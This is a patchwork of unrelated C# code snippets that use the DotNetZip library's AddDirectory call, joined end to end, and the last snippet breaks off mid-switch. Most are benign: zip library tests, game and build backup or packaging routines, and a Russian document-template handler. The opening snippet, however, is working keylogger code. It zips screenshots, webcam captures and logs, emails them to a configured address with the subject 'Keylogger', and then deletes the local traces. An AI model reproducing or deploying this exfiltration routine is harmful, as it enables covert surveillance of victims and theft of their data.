//---------------------// static void Send_Email() { if (d_email["Username"].ToString() == null || d_email["password"].ToString() == null || d_email["SMTP"].ToString() == null || d_email["To"].ToString() == null || d_email["Port"].ToString() == null) { return; } System.Net.WebRequest req = System.Net.WebRequest.Create("https://www.google.com"); System.Net.WebResponse resp = default(System.Net.WebResponse); bool bStatus; try { resp = req.GetResponse(); resp.Close(); req = null; bStatus = true; } catch (Exception ex) { req = null; bStatus = false; Console.WriteLine(ex.ToString()); } if (bStatus == true) { MailMessage mail = new MailMessage(); SmtpClient smtpServer = new SmtpClient(d_email["SMTP"].ToString()); mail.From = new MailAddress(d_email["Username"].ToString()); mail.To.Add(d_email["To"].ToString()); mail.Subject = "Keylogger"; mail.Body = "Nội dung được thu thập"; int iPort; Int32.TryParse(d_email["Port"], out iPort); smtpServer.Port = iPort; smtpServer.Credentials = new NetworkCredential(d_email["Username"].ToString(), d_email["password"]); smtpServer.EnableSsl = true; if (Boolean.Parse(d_email["Images"])) { if (Boolean.Parse(d_email["Protect"])) { string PasswordZIP = d_email["Password"].ToString(); using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Screenshot")) { zip.Password = PasswordZIP; zip.AddDirectory("Screenshot\\"); zip.Save("screenshot.zip"); } } } } if (Boolean.Parse(d_email["Images"])) { if (Boolean.Parse(d_email["Protect"])) { string PasswordZIP = d_email["Password"].ToString(); using (ZipFile zip = new ZipFile()) { if (Directory.Exists("Webcam")) { zip.Password = PasswordZIP; zip.AddDirectory("Webcam\\"); zip.Save("webcam.zip"); } } } } if (Boolean.Parse(d_email["Logs"])) { if (Boolean.Parse(d_email["Protect"])) { string PasswordZIP = d_email["Password"].ToString(); using (ZipFile zip = new ZipFile()) { if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos))) { zip.Password = PasswordZIP; zip.AddDirectory(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos)); zip.Save("logs.zip"); } } } } double dSize = 0; double size_screenshot = 0; double size_webcam = 0; double size_logs = 0; if (File.Exists("screenshot.zip")) { size_screenshot = (new System.IO.FileInfo("screenshot.zip").Length) / 1000; } if (File.Exists("webcam.zip")) { size_webcam = (new System.IO.FileInfo("webcam.zip").Length) / 1000; } if (File.Exists("logs")) { size_logs = (new System.IO.FileInfo("logs.zip").Length) / 1000; } dSize = size_webcam + size_screenshot + size_logs; if (Boolean.Parse(d_email["Limit"])) { if (d_email.ContainsKey("Kb")) { double size_compare = Double.Parse(d_email["Kb"].ToString()); if (dSize <= size_compare && dSize != 0) { mail.Attachments.Add(new System.Net.Mail.Attachment("screenshot.zip")); mail.Attachments.Add(new System.Net.Mail.Attachment("webcam.zip")); mail.Attachments.Add(new System.Net.Mail.Attachment("logs.zip")); } } } else { if (File.Exists("screenshot.zip")) { mail.Attachments.Add(new System.Net.Mail.Attachment("screenshot.zip")); } if (File.Exists("webcam.zip")) { mail.Attachments.Add(new System.Net.Mail.Attachment("webcam.zip")); } if (File.Exists("logs.zip")) { mail.Attachments.Add(new System.Net.Mail.Attachment("logs.zip")); } } //mail.Attachments.Add(new System.Net.Mail.Attachment("webcam.zip")); smtpServer.EnableSsl = true; smtpServer.Send(mail); Console.WriteLine("Da gui mail thanh cong"); //MessageBox.Show(d_email["Clear"]); if (d_email.ContainsKey("Clear")) { if (Boolean.Parse(d_email["Clear"])) { if (Directory.Exists("Screenshot\\")) { foreach (string link in Directory.GetDirectories("Screenshot\\")) { System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Screenshot\\"); } if (Directory.Exists("Webcam\\")) { foreach (string link in Directory.GetDirectories("Webcam\\")) { //MessageBox.Show(link.ToString()); System.IO.DirectoryInfo di = new DirectoryInfo(link); foreach (FileInfo file in di.GetFiles()) { file.Delete(); } Directory.Delete(link); } Directory.Delete("Webcam\\"); } if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos))) { string path = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos); System.IO.DirectoryInfo di = new DirectoryInfo(path); foreach (FileInfo file in di.GetFiles()) { if (file.ToString().Contains(".ini")) { file.Delete(); } } } try { if (File.Exists("screenshot.zip")) { File.Delete("screenshot.zip"); } if (File.Exists("webcam.zip")) { File.Delete("webcam.zip"); } if (File.Exists("logs.zip")) { File.Delete("logs.zip"); } } catch { } } } Console.WriteLine("Xoa file thanh cong"); //MessageBox.Show("Thành công"); } }
public void Spanned_UpdateItem() { int numFilesToCreate = _rnd.Next(10) + 8; int newFileCount = numFilesToCreate + _rnd.Next(3) + 3; int[] segmentSizes = { 0, 64*1024, 128*1024, 512*1024, 1024*1024, 2*1024*1024, 8*1024*1024, 16*1024*1024, 1024*1024*1024 }; // create the first subdirectory (A) string subdirA = Path.Combine(TopLevelDir, "A"); Directory.CreateDirectory(subdirA); for (int j = 0; j < numFilesToCreate; j++) { var filename = Path.Combine(subdirA, String.Format("file{0:D3}.txt", j)); string repeatedLine = String.Format("Content for Original file {0}", Path.GetFileName(filename)); TestUtilities.CreateAndFillFileText(filename, repeatedLine, _rnd.Next(34000) + 5000); } // create another subdirectory (B) string subdirB = Path.Combine(TopLevelDir, "B"); Directory.CreateDirectory(subdirB); for (int j = 0; j < newFileCount; j++) { var filename = Path.Combine(subdirB, String.Format("file{0:D3}.txt", j)); string repeatedLine = String.Format("Content for the updated file {0} {1}", Path.GetFileName(filename), System.DateTime.Now.ToString("yyyy-MM-dd")); TestUtilities.CreateAndFillFileText(filename, repeatedLine, _rnd.Next(1000) + 2000); } for (int m = 0; m < segmentSizes.Length; m++) { string trialDir = String.Format("trial-{0}", m); string extractDir = String.Format("extract-{0}", m); Directory.CreateDirectory(trialDir); string zipFileToCreate = Path.Combine(trialDir, String.Format("Archive-{0}.zip", m)); int maxSegSize = segmentSizes[m]; int numSegs = 0; TestContext.WriteLine("======="); TestContext.WriteLine("Trial {0}", m); if (maxSegSize > 0) TestContext.WriteLine("Creating a segmented zip...segsize({0})", maxSegSize); else TestContext.WriteLine("Creating a regular zip..."); // Create the zip file using (ZipFile zip1 = new ZipFile()) { zip1.AddDirectory(subdirA, ""); zip1.MaxOutputSegmentSize = maxSegSize; zip1.Comment = "UpdateTests::UpdateZip_UpdateItem(): This archive will be updated."; zip1.Save(zipFileToCreate); numSegs = zip1.NumberOfSegmentsForMostRecentSave; } // Verify the files are in the multiple segments Assert.AreEqual<int>(TestUtilities.CountEntries(zipFileToCreate), numFilesToCreate, "The Zip file has the wrong number of entries before update."); var files = Directory.GetFiles(trialDir); var totalFileSize = files.Sum(f => new FileInfo(f).Length); var expectedSegments = (maxSegSize == 0 ? 0 : totalFileSize / maxSegSize) + 1; Assert.AreEqual(expectedSegments, numSegs); Assert.AreEqual(expectedSegments, Directory.GetFiles(trialDir).Length); // Update those files in the zip file using (ZipFile zip2 = FileSystemZip.Read(zipFileToCreate)) { zip2.UpdateDirectory(subdirB, ""); zip2.MaxOutputSegmentSize = maxSegSize; zip2.Comment = "UpdateTests::UpdateZip_UpdateItem(): This archive has been updated."; zip2.Save(zipFileToCreate); numSegs = zip2.NumberOfSegmentsForMostRecentSave; } // Verify the number of files in the multiple segments Assert.AreEqual<int>(TestUtilities.CountEntries(zipFileToCreate), newFileCount, "The Zip file has the wrong number of entries after update."); files = Directory.GetFiles(trialDir); totalFileSize = files.Sum(f => new FileInfo(f).Length); expectedSegments = (maxSegSize == 0 ? 0 : totalFileSize / maxSegSize) + 1; Assert.AreEqual(expectedSegments, numSegs); Assert.AreEqual(expectedSegments, Directory.GetFiles(trialDir).Length); // now extract the files and verify their contents using (ZipFile zip3 = FileSystemZip.Read(zipFileToCreate)) { foreach (string s in zip3.EntryFileNames) { string repeatedLine = String.Format("Content for the updated file {0} {1}", s, System.DateTime.Now.ToString("yyyy-MM-dd")); zip3[s].Extract(extractDir); // verify the content of the updated file. var sr = new StreamReader(Path.Combine(extractDir, s)); string sLine = sr.ReadLine(); sr.Close(); Assert.AreEqual<string>(repeatedLine, sLine, String.Format("The content of the Updated file ({0}) in the zip archive is incorrect.", s)); } } } }
private void autoBackup_btn_Click(object sender, EventArgs e) { //Use the defaut osu location string osuGame = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\osulazer"; string osuData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\osu"; autoBackup_btn.Enabled = false; backupData_btn.Enabled = false; backupGame_btn.Enabled = false; gameLocation_txbx.Text = osuGame; dataLocation_txbx.Text = osuData; string osuValG = osuGame + @"\osu!.exe"; string osuValD = osuData + @"\client.db"; if (System.IO.File.Exists(osuValG)) { //Compress osu Game using (var zip = new ZipFile()) { zip.SaveProgress += SaveProgress; zip.StatusMessageTextWriter = System.Console.Out; zip.AddDirectory(osuGame, "osulazer"); zip.Save("OsuGameBackup.zip"); } } else { MessageBox.Show("Not osu detected in the selected folder"); gameLocation = ""; } if (System.IO.File.Exists(osuValD)) { //Compress osu data using (var zip = new ZipFile()) { zip.SaveProgress += SaveProgress; zip.StatusMessageTextWriter = System.Console.Out; zip.AddDirectory(osuData, "osu"); zip.Save("OsuDataBackup.zip"); } } else { MessageBox.Show("Not osu detected in the selected folder"); gameLocation = ""; } //Validating Restore buttons //Game if (System.IO.File.Exists(Environment.CurrentDirectory + @"\OsuGameBackup.zip")) { restoreGame_btn.Enabled = true; } else { restoreGame_btn.Enabled = false; } //Data if (System.IO.File.Exists(Environment.CurrentDirectory + @"\OsuDataBackup.zip")) { restoreData_btn.Enabled = true; } else { restoreData_btn.Enabled = false; } /////////////////////////////// }
public void Spanned_Create() { string dirToZip = Path.GetFileNameWithoutExtension(Path.GetRandomFileName()); _txrx = TestUtilities.StartProgressMonitor("segmentedzip", "Segmented Zips", "Creating files"); _txrx.Send("pb 0 max 2"); int numFiles = _rnd.Next(10) + 8; int overflows = 0; string msg; _txrx.Send("pb 1 max " + numFiles); var update = new Action<int,int,Int64>( (x,y,z) => { switch (x) { case 0: _txrx.Send(String.Format("pb 2 max {0}", ((int)z))); break; case 1: msg = String.Format("pb 2 value {0}", ((int)z)); _txrx.Send(msg); break; case 2: _txrx.Send("pb 1 step"); _txrx.Send("pb 2 value 0"); msg = String.Format("status created {0}/{1} files", y+1, ((int)z)); _txrx.Send(msg); break; } }); _txrx.Send("status creating " + numFiles + " files..."); string[] filesToZip; Dictionary<string, byte[]> checksums; CreateLargeFilesWithChecksums(dirToZip, numFiles, update, out filesToZip, out checksums); _txrx.Send("pb 0 step"); int[] segmentSizes = { 0, 64*1024, 128*1024, 512*1024, 1024*1024, 2*1024*1024, 8*1024*1024, 16*1024*1024, 1024*1024*1024 }; _txrx.Send("status zipping..."); _txrx.Send(String.Format("pb 1 max {0}", segmentSizes.Length)); System.EventHandler<Ionic.Zip.SaveProgressEventArgs> sp = (sender1, e1) => { switch (e1.EventType) { case ZipProgressEventType.Saving_Started: _txrx.Send(String.Format("pb 2 max {0}", filesToZip.Length)); _txrx.Send("pb 2 value 0"); break; case ZipProgressEventType.Saving_AfterWriteEntry: TestContext.WriteLine("Saved entry {0}, {1} bytes", e1.CurrentEntry.FileName, e1.CurrentEntry.UncompressedSize); _txrx.Send("pb 2 step"); break; } }; for (int m=0; m < segmentSizes.Length; m++) { string trialDir = String.Format("trial{0}", m); Directory.CreateDirectory(trialDir); string zipFileToCreate = Path.Combine(trialDir, String.Format("Archive-{0}.zip",m)); int maxSegSize = segmentSizes[m]; msg = String.Format("status trial {0}/{1} (max seg size {2}k)", m+1, segmentSizes.Length, maxSegSize/1024); _txrx.Send(msg); TestContext.WriteLine("======="); TestContext.WriteLine("Trial {0}", m); if (maxSegSize > 0) TestContext.WriteLine("Creating a segmented zip...segsize({0})", maxSegSize); else TestContext.WriteLine("Creating a regular zip..."); var sw = new StringWriter(); bool aok = false; try { using (var zip = new ZipFile()) { zip.StatusMessageTextWriter = sw; zip.BufferSize = 0x8000; zip.CodecBufferSize = 0x8000; zip.AddDirectory(dirToZip, "files"); zip.MaxOutputSegmentSize = maxSegSize; zip.SaveProgress += sp; zip.Save(zipFileToCreate); } aok = true; } catch (OverflowException) { TestContext.WriteLine("Overflow - too many segments..."); overflows++; } if (aok) { TestContext.WriteLine("{0}", sw.ToString()); // // If you want to see the diskNumber for each entry, // // uncomment the following: // TestContext.WriteLine("Checking info..."); // sw = new StringWriter(); // //string extractDir = String.Format("ex{0}", m); // using (var zip = ZipFile.Read(zipFileToCreate)) // { // zip.StatusMessageTextWriter = sw; // foreach (string s in zip.Info.Split('\r','\n')) // { // Console.WriteLine("{0}", s); // } // // // unnecessary - BasicVerify does this // //foreach (var e in zip) // //e.Extract(extractDir); // } // TestContext.WriteLine("{0}", sw.ToString()); TestContext.WriteLine("Extracting..."); string extractDir = BasicVerifyZip(zipFileToCreate); // also verify checksums VerifyChecksums(Path.Combine(extractDir, "files"), filesToZip, checksums); } _txrx.Send("pb 1 step"); } _txrx.Send("pb 0 step"); Assert.IsTrue(overflows < 3, "Too many overflows. Check the test."); }
public static void CreateZipFile(string zipPath) { Console.WriteLine(); Console.WriteLine("# Creating " + Path.GetFileName(zipPath) + "..."); Console.WriteLine(); if (File.Exists(zipPath)) { File.Delete(zipPath); } var exeDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? ""; Directory.SetCurrentDirectory(exeDirectory); var solutionDirectory = exeDirectory; while (!File.Exists(Path.Combine(solutionDirectory, "Skyline.sln"))) { solutionDirectory = Path.GetDirectoryName(solutionDirectory); if (string.IsNullOrEmpty(solutionDirectory)) { throw new ApplicationException("Can't find solution directory"); } } using (var zipFile = new ZipFile(zipPath)) { // DotNetZip has a _bug_ which causes an extraction error without this // (see http://stackoverflow.com/questions/15337186/dotnetzip-badreadexception-on-extract) zipFile.ParallelDeflateThreshold = -1; if ((String.Empty + Path.GetFileName(zipPath)).ToLower() == "skylinenightly.zip") { // Add files to top level of zip file. var files = new[] { "SkylineNightly.exe", "SkylineNightly.pdb", "Microsoft.Win32.TaskScheduler.dll", "DotNetZip.dll" }; foreach (var file in files) { Console.WriteLine(file); zipFile.AddFile(file); } } else if ((String.Empty + Path.GetFileName(zipPath)).ToLower() == "bibliospec.zip") { // Create a BiblioSpec distro var files = new List <string> { "BlibBuild.exe", "BlibFilter.exe", "MassLynxRaw.dll", "cdt.dll", "modifications.xml", "quantitation_1.xsd", "quantitation_2.xsd", "unimod_2.xsd" }; var dir = Directory.GetCurrentDirectory(); files.Add(dir.Contains("Debug") ? "msparserD.dll" : "msparser.dll"); // Locate BlibToMS2 var parent = dir.IndexOf("Skyline\\", StringComparison.Ordinal); if (parent > 0) { dir = dir.Substring(0, parent); var blib2ms2 = dir + "Shared\\BiblioSpec\\obj\\x64\\BlibToMs2.exe"; if (File.Exists(blib2ms2)) // Don't worry about this for a 32 bit build, we don't distribute that { files.Add(blib2ms2); } } foreach (var file in files) { Console.WriteLine(file); zipFile.AddFile(file, string.Empty); } } else { // Add SkylineTester at top level of zip file. Console.WriteLine("SkylineTester.exe"); zipFile.AddFile("SkylineTester.exe"); // Add .skytr files at top level of zip file. var skytrDirectory = Path.Combine(solutionDirectory, @"SkylineTester\Run files"); foreach (var skytrFile in Directory.EnumerateFiles(skytrDirectory, "*.skytr")) { AddFile(skytrFile, zipFile, "."); } // Add each subdirectory in the bin directory. foreach (var directory in Directory.EnumerateDirectories(".")) { if (Include(directory)) { var name = Path.GetFileName(directory) ?? ""; Console.WriteLine(Path.Combine(SkylineTesterWindow.SkylineTesterFiles, name)); zipFile.AddDirectory(directory, Path.Combine(SkylineTesterWindow.SkylineTesterFiles, name)); } } // Add each file in the bin directory. foreach (var file in Directory.EnumerateFiles(".")) { if (Include(file)) { AddFile(file, zipFile); } } // Add test zip files. var zipFilesList = new List <string>(); FindZipFiles(solutionDirectory, zipFilesList); var zipFilesDirectory = Path.Combine(SkylineTesterWindow.SkylineTesterFiles, "TestZipFiles"); foreach (var testZipFile in zipFilesList) { var testZipDirectory = Path.GetDirectoryName(testZipFile); if (string.IsNullOrEmpty(testZipDirectory)) { continue; } testZipDirectory = Path.Combine(zipFilesDirectory, testZipDirectory.Substring(solutionDirectory.Length + 1)); AddFile(testZipFile, zipFile, testZipDirectory); } // Add the file that we use to determine which branch this is from AddFile(Path.Combine(solutionDirectory, "..\\..\\pwiz\\Version.cpp"), zipFile); // Add unit testing DLL. var unitTestingDll = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), @"Microsoft Visual Studio 12.0\Common7\IDE\PublicAssemblies\Microsoft.VisualStudio.QualityTools.UnitTestFramework.dll"); AddFile(unitTestingDll, zipFile); } Console.WriteLine(); Console.WriteLine("# Saving..."); zipFile.Save(); Console.WriteLine(); Console.WriteLine("# {0} size: {1:F1} MB", Path.GetFileName(zipPath), new FileInfo(zipPath).Length / (1024.0 * 1024)); Console.WriteLine("# Done."); Console.WriteLine(); } }
public void Error_AddDirectory_SpecifyingFile() { string zipFileToCreate = "AddDirectory_SpecifyingFile.zip"; string filename = "ThisIsAFile"; File.Copy(zipit, filename); string baddirname = Path.Combine(TopLevelDir, filename); using (ZipFile zip = new ZipFile()) { zip.AddDirectory(baddirname); // FAIL zip.Save(zipFileToCreate); } }
void OnGUI() { if (load) { LoadData(); } GUILayout.Label("Build Versions", EditorStyles.boldLabel); EditorGUILayout.Space(); this.titleContent.tooltip = "Builds all your stuff at once"; EditorGUILayout.LabelField("Build Path:"); scrollPos = EditorGUILayout.BeginScrollView(scrollPos, GUILayout.Width(position.width), GUILayout.Height(32)); path = GUILayout.TextField(path); EditorGUILayout.EndScrollView(); if (GUILayout.Button("Set Buildpath", GUILayout.Width(160))) { path = EditorUtility.SaveFolderPanel("Choose Location of Build Folder", "", ""); isSaved = false; } EditorGUILayout.Space(); bool Ftemp = EditorGUILayout.ToggleLeft("Change Buildfile Name", changeFileName); isSaved = Ftemp != changeFileName; changeFileName = Ftemp; GUI.enabled = changeFileName; string FNtemp = EditorGUILayout.TextField(filename); GUI.enabled = true; isSaved = FNtemp != filename; filename = FNtemp; EditorGUILayout.Space(); EditorGUILayout.LabelField("Zipfile name Suffix (Appname *suffix* Buildname)"); zipSuffix = EditorGUILayout.TextField(zipSuffix); EditorGUILayout.Space(); show = EditorGUILayout.Foldout(show, "Namesets"); if (show) { EditorGUI.indentLevel++; scrollPos2 = EditorGUILayout.BeginScrollView(scrollPos2, GUILayout.Width(position.width), GUILayout.Height(600 < position.height - 250 ? 600 : position.height - 250)); foreach (BuildTarget bt in Enum.GetValues(typeof(BuildTarget))) { var type = typeof(BuildTarget); var memInfo = type.GetMember(bt.ToString()); if (Attribute.IsDefined(memInfo[0], typeof(ObsoleteAttribute))) { continue; } if (!builds.ContainsKey(bt)) { builds.Add(bt, new Build("", false)); } EditorGUILayout.BeginVertical(); EditorGUILayout.BeginHorizontal(); bool temp = EditorGUILayout.ToggleLeft(bt.ToString(), builds[bt].isActive); GUI.enabled = temp; string tempS = EditorGUILayout.TextField(builds[bt].name); GUI.enabled = true; EditorGUILayout.EndHorizontal(); EditorGUILayout.EndVertical(); EditorGUILayout.Space(); if (builds[bt].isActive != temp || !builds[bt].name.Equals(tempS)) { Debug.Log("save"); isSaved = false; } builds[bt].isActive = temp; builds[bt].name = tempS; } EditorGUILayout.EndScrollView(); EditorGUI.indentLevel--; } if (!isSaved) { SaveData(); } backupOldFiles = GUILayout.Toggle(backupOldFiles, "Move Old Files"); if (GUILayout.Button("Build!")) { if (path == "") { throw (new ArgumentNullException("the path can't be empty!")); } foreach (BuildTarget build in builds.Keys) { if (builds[build].isActive) { string realPath = path + "/" + builds[build].name + "/"; string fileName = (changeFileName ? filename: Application.productName) + (build.ToString().Contains("Windows") ? ".exe" : build.ToString().Contains("Linux") ? ".x86" : ""); //Debug.Log(build.ToString()); if (backupOldFiles) { try { System.IO.Directory.Move(realPath, path + "/" + b + Application.productName + "/"); } catch (Exception) { } } else { if (Directory.Exists(realPath)) { Directory.Delete(realPath, true); } } if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } Debug.Log("Building: " + build.ToString()); BuildPipeline.BuildPlayer(EditorBuildSettings.scenes, realPath + fileName, build, 0); Debug.Log("Creating .zip File!"); using (ZipFile zf = new ZipFile((changeFileName ? filename : Application.productName) + " " + zipSuffix + " " + builds[build].name)) { zf.AddDirectory(path + "/" + builds[build].name + "/"); zf.Save(path + "/" + zf.Name + ".zip"); } Debug.Log("Created .zip File!"); } } System.Diagnostics.Process.Start(path); } }
private void PackageIPA(string BaseDirectory, string GameName, string ProjectName, string ProjectDirectory, UnrealTargetConfiguration TargetConfig, bool Distribution = false) { // create the ipa string IPAName = CombinePaths(ProjectDirectory, "Binaries", "IOS", (Distribution ? "Distro_" : "") + ProjectName + (TargetConfig != UnrealTargetConfiguration.Development ? ("-IOS-" + TargetConfig.ToString()) : "") + ".ipa"); // delete the old one if (File.Exists(IPAName)) { File.Delete(IPAName); } // make the subdirectory if needed string DestSubdir = Path.GetDirectoryName(IPAName); if (!Directory.Exists(DestSubdir)) { Directory.CreateDirectory(DestSubdir); } // set up the directories string ZipWorkingDir = String.Format("Payload/{0}.app/", GameName); string ZipSourceDir = string.Format("{0}/Payload/{1}.app", BaseDirectory, GameName); // create the file using (ZipFile Zip = new ZipFile()) { // Set encoding to support unicode filenames Zip.AlternateEncodingUsage = ZipOption.Always; Zip.AlternateEncoding = Encoding.UTF8; // set the compression level if (Distribution) { Zip.CompressionLevel = CompressionLevel.BestCompression; } // add the entire directory Zip.AddDirectory(ZipSourceDir, ZipWorkingDir); // Update permissions to be UNIX-style // Modify the file attributes of any added file to unix format foreach (ZipEntry E in Zip.Entries) { const byte FileAttributePlatform_NTFS = 0x0A; const byte FileAttributePlatform_UNIX = 0x03; const byte FileAttributePlatform_FAT = 0x00; const int UNIX_FILETYPE_NORMAL_FILE = 0x8000; //const int UNIX_FILETYPE_SOCKET = 0xC000; //const int UNIX_FILETYPE_SYMLINK = 0xA000; //const int UNIX_FILETYPE_BLOCKSPECIAL = 0x6000; const int UNIX_FILETYPE_DIRECTORY = 0x4000; //const int UNIX_FILETYPE_CHARSPECIAL = 0x2000; //const int UNIX_FILETYPE_FIFO = 0x1000; const int UNIX_EXEC = 1; const int UNIX_WRITE = 2; const int UNIX_READ = 4; int MyPermissions = UNIX_READ | UNIX_WRITE; int OtherPermissions = UNIX_READ; int PlatformEncodedBy = (E.VersionMadeBy >> 8) & 0xFF; int LowerBits = 0; // Try to preserve read-only if it was set bool bIsDirectory = E.IsDirectory; // Check to see if this bool bIsExecutable = false; if (Path.GetFileNameWithoutExtension(E.FileName).Equals(GameName, StringComparison.InvariantCultureIgnoreCase)) { bIsExecutable = true; } if (bIsExecutable) { // The executable will be encrypted in the final distribution IPA and will compress very poorly, so keeping it // uncompressed gives a better indicator of IPA size for our distro builds E.CompressionLevel = CompressionLevel.None; } if ((PlatformEncodedBy == FileAttributePlatform_NTFS) || (PlatformEncodedBy == FileAttributePlatform_FAT)) { FileAttributes OldAttributes = E.Attributes; //LowerBits = ((int)E.Attributes) & 0xFFFF; if ((OldAttributes & FileAttributes.Directory) != 0) { bIsDirectory = true; } // Permissions if ((OldAttributes & FileAttributes.ReadOnly) != 0) { MyPermissions &= ~UNIX_WRITE; OtherPermissions &= ~UNIX_WRITE; } } if (bIsDirectory || bIsExecutable) { MyPermissions |= UNIX_EXEC; OtherPermissions |= UNIX_EXEC; } // Re-jigger the external file attributes to UNIX style if they're not already that way if (PlatformEncodedBy != FileAttributePlatform_UNIX) { int NewAttributes = bIsDirectory ? UNIX_FILETYPE_DIRECTORY : UNIX_FILETYPE_NORMAL_FILE; NewAttributes |= (MyPermissions << 6); NewAttributes |= (OtherPermissions << 3); NewAttributes |= (OtherPermissions << 0); // Now modify the properties E.AdjustExternalFileAttributes(FileAttributePlatform_UNIX, (NewAttributes << 16) | LowerBits); } } // Save it out Zip.Save(IPAName); } }
/*При нажатии на кнопку работаем с файлами в каталогах, ищем читаем, меняем, сохраняем, архивируем их и даем юзеру ссылку на архив*/ protected void ButtonGetZip_Click(object sender, EventArgs e) { string pathSchabl = @"\MemberPages\Sabl\"; string pathLoadArhiv = @"\MemberPages\LoadFiles\ArhivDoc\"; string pathLoad = @"\MemberPages\LoadFiles\"; string putFirst; putFirst = System.AppDomain.CurrentDomain.BaseDirectory; string fileName; string sourcePath; // файл откуда копируется string targetPath; // файл куда копируется DirectoryInfo dirFil = new DirectoryInfo(putFirst + pathSchabl); for (int j = 0; j < CheckBoxListDocZip.Items.Count; j++) // перибираем чеки { if (CheckBoxListDocZip.Items[j].Selected == true) //если документ выбран { foreach (var itemDir in dirFil.GetDirectories()) // выбираем читаем все поддиректории { foreach (var itemFil in itemDir.GetFiles()) // сверяем во всех поддиректориях файлы с отмеченным { if (itemFil.ToString() == CheckBoxListDocZip.Items[j].Value) // если совпадает то строим до файла путь и работаем с ним { string fileMetodReplace = itemFil.ToString(); // переменная для хранения значения названия файла для с целью подбора нужного метода замены текста sourcePath = putFirst + pathSchabl + itemDir; // путь к поддирикториям где лежат файлы fileName = itemFil.ToString(); targetPath = putFirst + pathLoadArhiv; // куда временно перед архивированием сохранять файлы string sourceFile = System.IO.Path.Combine(sourcePath, fileName); // файл который нужна прочитать с полным путем string destFile = System.IO.Path.Combine(targetPath, fileName); // куда нужно копировать файл измененный // проверяем существование дириктории если ее нет то создаем if (!System.IO.Directory.Exists(targetPath)) { System.IO.Directory.CreateDirectory(targetPath); } /** * Тут нужно считать файл шаблона в переменну. rtfDoc */ string rtfDoc; using (StreamReader sr = new StreamReader((sourceFile), Encoding.GetEncoding("windows-1251"))) { rtfDoc = sr.ReadToEnd(); } /* * Блок замены данных в файле перед созданием нового * ******************************************************************************************** */ ClassReplaceMetod replaceDoc = new ClassReplaceMetod(); // экземпляр методов замены шаблонов ClassGetDataBD getDataSQL = new ClassGetDataBD(); // экземпляр методов получения данных из базы string test = ""; switch (fileMetodReplace) { case "sUvedomlenie2-22.rtf": test = ""; break; case "sUvedomleniePortal.rtf": test = ""; break; case "sUvedomleniePost.rtf": test = ""; break; case "sAktUstanovkiSZI.rtf": test = ""; break; case "sKoncepciaInfBezopasnosti.rtf": test = ""; break; case "sKontrolZona.rtf": test = ""; break; case "sMatritsaDostupa.rtf": test = ""; break; case "sPolitikaInformBezopasnPD.rtf": test = ""; break; case "sProektNaBezopasnostPD.rtf": test = ""; break; case "sTehnicheskiPasportISPDn.rtf": test = ""; break; case "sTehnicheskiPasportObjectaInf.rtf": test = ""; break; case "sTehZadaniePD.rtf": test = ""; break; case "sTopologiISPDn.rtf": test = ""; break; case "sZakluchenieOvozmognostiEkspluatacii.rtf": test = ""; break; case "sSoglasieNaObrabotkuOtziv.rtf": test = ""; break; case "sPrikaziObiazatelstvoKonfidencial.rtf": test = ""; break; case "sPrikazMeropriyatiPoZashite.rtf": test = ""; break; case "sPrikazNaznachenieOtvetstvenZaBezopasnost.rtf": test = ""; break; case "sPrikazNaznacheniyaAdminaBezopasnosty.rtf": test = ""; break; case "sPrikazObElektronnomGurnale.rtf": test = ""; break; case "sPrikazOtvetstvenZaObrabotku.rtf": test = ""; break; case "sPrikazVidileniePomesheniKonfidencial.rtf": test = ""; break; case "sPrikazVidilenPomesheniObrabotkiPD.rtf": test = ""; break; case "sAktUnichtozheniyaPDn.rtf": test = ""; break; case "sPologenieOrazgranicheniiPravDostupa.rtf": test = ""; break; case "sPolozhenieObabotkaPDnObshee.rtf": test = ""; break; case "sPolozhenieZashchiteKI.rtf": test = ""; break; case "sPoriadokRezervKopir.rtf": test = ""; break; case "sRukovodstvoAdministratoraISPDn.rtf": test = ""; break; case "sRukovodstvoPolzovatelyaISPDn.rtf": test = ""; break; case "sUdaleniePDizISPDn.rtf": test = ""; break; case "sPlanMeropriyatiPoZashite.rtf": test = ""; break; case "sPlanVnutrennikhProverokZachitaPD.rtf": test = ""; break; case "sPerechenASystem.rtf": test = ""; break; case "sPerechenKonfidencialPDn.rtf": test = ""; break; case "sPerechenSredstvZashit.rtf": test = ""; break; case "sPerehenLicDopushenServeriArhiv.rtf": test = ""; break; case "sModelNaruschitel.rtf": test = ""; break; case "sModelUgrozARMnoInet.rtf": test = ""; break; case "sModelUgrozARMyesInet.rtf": test = ""; break; case "sModelUgrozLVSnoInet.rtf": test = ""; break; case "sInstrukciyaRezervirovaniia.rtf": test = ""; break; case "sModelUgrozLVSyesInet.rtf": test = ""; break; case "sModelUgrozRasprednoInet.rtf": test = ""; break; case "sModelUgrozRaspredyesInet.rtf": test = ""; break; case "sAktKlassISPDn.rtf": string rukfio = DetailsViewOrganizDoc.Rows[4].Cells[1].Text; string operarorname = DetailsViewOrganizDoc.Rows[1].Cells[1].Text;; string operaradress = DetailsViewOrganizDoc.Rows[6].Cells[1].Text;; rtfDoc = replaceDoc.ReplaceDocAktKlassISPDnMetod(rtfDoc, rukfio, "1СССССС", operarorname, operaradress); break; case "sPrikazKlassISPDn.rtf": rtfDoc = replaceDoc.ReplaceDocPrikazKlassISPDnMetod(rtfDoc, "Иванов", "Директор"); break; case "sInstrukciaPolzovateleyLVS.rtf": test = ""; break; case "sInstrukciyaAdmina.rtf": test = ""; break; case "sInstruktionAntivirusParol.rtf": test = ""; break; case "sInstruktsiyaUchetaNosteley.rtf": test = ""; break; case "sGurnalRazovogoPropuska.rtf": rtfDoc = replaceDoc.ReplaceDocGurnalRazPropuskMetod(rtfDoc, "Петров", "Зам директора"); break; case "sGurnalRegistrZaprosovSubject.rtf": test = ""; break; case "sGurnalUchetaKluthevihNositeley.rtf": test = ""; break; case "sGurnalUchetaKriptosredstv.rtf": test = ""; break; case 